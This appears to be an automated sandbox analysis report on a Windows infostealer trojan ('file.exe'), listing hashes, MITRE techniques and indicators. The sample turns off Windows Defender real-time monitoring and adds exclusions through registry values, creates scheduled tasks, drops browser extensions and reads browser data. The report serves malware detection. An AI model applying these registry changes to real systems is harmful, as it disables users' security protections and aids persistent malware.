fa83e6a69787cb5d3a59301bd0913bd0cbaf222c975292f659dec2fd5ddb25d1

Analysis

max time kernel
134s
max time network
137s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
06-02-2023 20:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.2MB
MD5

ad8bf30d0f862756731909ec535d2145
SHA1

65dbe6948e2af2c617772c6bd97f9c01d433eee7
SHA256

fa83e6a69787cb5d3a59301bd0913bd0cbaf222c975292f659dec2fd5ddb25d1
SHA512

4e1d358a8c39eac62e173b2b0eaee19abf76ceba85027f84443a3b3a96b249d5beba29f3caa09407535d2ed33f67e7bdbd70e7f0ffdaf7cbd5f0c6d92eaacaf3
SSDEEP

196608:91OubmQlOuJCY+MfS6cYaeLy3nMS992Dt2iZKRWo4t:3OEdlLJrrtaJ3MSXot2OKczt

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.execonhost.exereg.exereg.exereg.exereg.exereg.exereg.exereg.execonhost.exereg.exereg.exereg.execonhost.exereg.execonhost.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OKneYAAzclQU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\OKneYAAzclQU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\eCbNXTSQanJlC = "0"	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vcfECUarZbUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\wRLQelouU = "0"	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WoychCUlhHkYXpVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\MiBciKVvopIpRLyaf = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\UIFvrSrxAzeYKEuX = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\eCbNXTSQanJlC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\wRLQelouU = "0"	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\WoychCUlhHkYXpVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\vcfECUarZbUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

21 804 rundll32.exe

flow	pid	process
21	804	rundll32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

RitEPeF.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Control Panel\International\Geo\Nation RitEPeF.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeUYoQnPU.exeRitEPeF.exe

pid process

1356 Install.exe
1080 Install.exe
772 UYoQnPU.exe
1884 RitEPeF.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3385717845-2518323428-350143044-1000\Control Panel\International\Geo\Nation	RitEPeF.exe

pid	process
1356	Install.exe
1080	Install.exe
772	UYoQnPU.exe
1884	RitEPeF.exe

Loads dropped DLL 12 IoCs

Processes:

file.exeInstall.exeInstall.exerundll32.exe

pid	process
1924	file.exe
1356	Install.exe
1356	Install.exe
1356	Install.exe
1356	Install.exe
1080	Install.exe
1080	Install.exe
1080	Install.exe
804	rundll32.exe
804	rundll32.exe
804	rundll32.exe
804	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 1 IoCs

Processes:

RitEPeF.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	RitEPeF.exe

Drops file in System32 directory 19 IoCs

Processes:

rundll32.exepowershell.EXERitEPeF.exeUYoQnPU.exepowershell.EXEpowershell.EXEInstall.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	RitEPeF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_7638F332B8B62A320F9A599D313334B6	RitEPeF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_7638F332B8B62A320F9A599D313334B6	RitEPeF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_450C63FC50977E21DE9DE54EB1509725	RitEPeF.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	UYoQnPU.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	RitEPeF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	RitEPeF.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	UYoQnPU.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	RitEPeF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_450C63FC50977E21DE9DE54EB1509725	RitEPeF.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	RitEPeF.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	UYoQnPU.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	RitEPeF.exe

Drops file in Program Files directory 13 IoCs

Processes:

RitEPeF.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	RitEPeF.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	RitEPeF.exe
File created	C:\Program Files (x86)\OKneYAAzclQU2\YyEKiXJYHKjPi.dll	RitEPeF.exe
File created	C:\Program Files (x86)\OKneYAAzclQU2\KdRFmqj.xml	RitEPeF.exe
File created	C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\fsXpvWo.dll	RitEPeF.exe
File created	C:\Program Files (x86)\ZiLpQKvFpwQmACSzEAR\PaCbGIs.xml	RitEPeF.exe
File created	C:\Program Files (x86)\eCbNXTSQanJlC\ZbgamGQ.dll	RitEPeF.exe
File created	C:\Program Files (x86)\wRLQelouU\yKXYKP.dll	RitEPeF.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	RitEPeF.exe
File created	C:\Program Files (x86)\wRLQelouU\bvDTALU.xml	RitEPeF.exe
File created	C:\Program Files (x86)\eCbNXTSQanJlC\ROWfyde.xml	RitEPeF.exe
File created	C:\Program Files (x86)\vcfECUarZbUn\EsDAcPb.dll	RitEPeF.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	RitEPeF.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\boytPmuAkKgmiEZYSe.job	schtasks.exe
File created	C:\Windows\Tasks\tRsUEOedRvIwZoOQu.job	schtasks.exe
File created	C:\Windows\Tasks\xhAFLspUEGhlntx.job	schtasks.exe
File created	C:\Windows\Tasks\jwkhvtMiulvJCTqog.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1228	schtasks.exe
1576	schtasks.exe
268	schtasks.exe
1612	schtasks.exe
1964	schtasks.exe
1968	schtasks.exe
840	schtasks.exe
1684	schtasks.exe
280	schtasks.exe
1684	schtasks.exe
1928	schtasks.exe
1252	schtasks.exe
1340	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

rundll32.exeRitEPeF.exewscript.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2a-f5-3a-f3-4f-fc\WpadDecision = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	RitEPeF.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f004f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2a-f5-3a-f3-4f-fc\WpadDecisionTime = 1090a8f56f3ad901	RitEPeF.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2a-f5-3a-f3-4f-fc\WpadDecisionTime = 1090a8f56f3ad901	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	RitEPeF.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	RitEPeF.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{6593A80B-747C-4EF0-919F-EEA9710F141A}\WpadDecisionReason = "1"	RitEPeF.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{6593A80B-747C-4EF0-919F-EEA9710F141A}\WpadDecision = "0"	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2a-f5-3a-f3-4f-fc	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{6593A80B-747C-4EF0-919F-EEA9710F141A}	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2a-f5-3a-f3-4f-fc\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f004f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	RitEPeF.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	RitEPeF.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	RitEPeF.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2a-f5-3a-f3-4f-fc\WpadDecisionReason = "1"	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	RitEPeF.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{6593A80B-747C-4EF0-919F-EEA9710F141A}\2a-f5-3a-f3-4f-fc	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	RitEPeF.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2a-f5-3a-f3-4f-fc\WpadDecisionReason = "1"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	RitEPeF.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	RitEPeF.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXERitEPeF.exe

pid	process
304	powershell.EXE
304	powershell.EXE
304	powershell.EXE
1192	powershell.EXE
1192	powershell.EXE
1192	powershell.EXE
1104	powershell.EXE
1104	powershell.EXE
1104	powershell.EXE
896	powershell.EXE
896	powershell.EXE
896	powershell.EXE
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe
1884	RitEPeF.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXEpowershell.EXE

description	pid	process
Token: SeDebugPrivilege	304	powershell.EXE
Token: SeDebugPrivilege	1192	powershell.EXE
Token: SeDebugPrivilege	1104	powershell.EXE
Token: SeDebugPrivilege	896	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 1924 wrote to memory of 1356	1924	file.exe	Install.exe
PID 1924 wrote to memory of 1356	1924	file.exe	Install.exe
PID 1924 wrote to memory of 1356	1924	file.exe	Install.exe
PID 1924 wrote to memory of 1356	1924	file.exe	Install.exe
PID 1924 wrote to memory of 1356	1924	file.exe	Install.exe
PID 1924 wrote to memory of 1356	1924	file.exe	Install.exe
PID 1924 wrote to memory of 1356	1924	file.exe	Install.exe
PID 1356 wrote to memory of 1080	1356	Install.exe	Install.exe
PID 1356 wrote to memory of 1080	1356	Install.exe	Install.exe
PID 1356 wrote to memory of 1080	1356	Install.exe	Install.exe
PID 1356 wrote to memory of 1080	1356	Install.exe	Install.exe
PID 1356 wrote to memory of 1080	1356	Install.exe	Install.exe
PID 1356 wrote to memory of 1080	1356	Install.exe	Install.exe
PID 1356 wrote to memory of 1080	1356	Install.exe	Install.exe
PID 1080 wrote to memory of 1732	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1732	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1732	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1732	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1732	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1732	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1732	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1964	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1964	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1964	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1964	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1964	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1964	1080	Install.exe	forfiles.exe
PID 1080 wrote to memory of 1964	1080	Install.exe	forfiles.exe
PID 1732 wrote to memory of 1072	1732	forfiles.exe	cmd.exe
PID 1732 wrote to memory of 1072	1732	forfiles.exe	cmd.exe
PID 1732 wrote to memory of 1072	1732	forfiles.exe	cmd.exe
PID 1732 wrote to memory of 1072	1732	forfiles.exe	cmd.exe
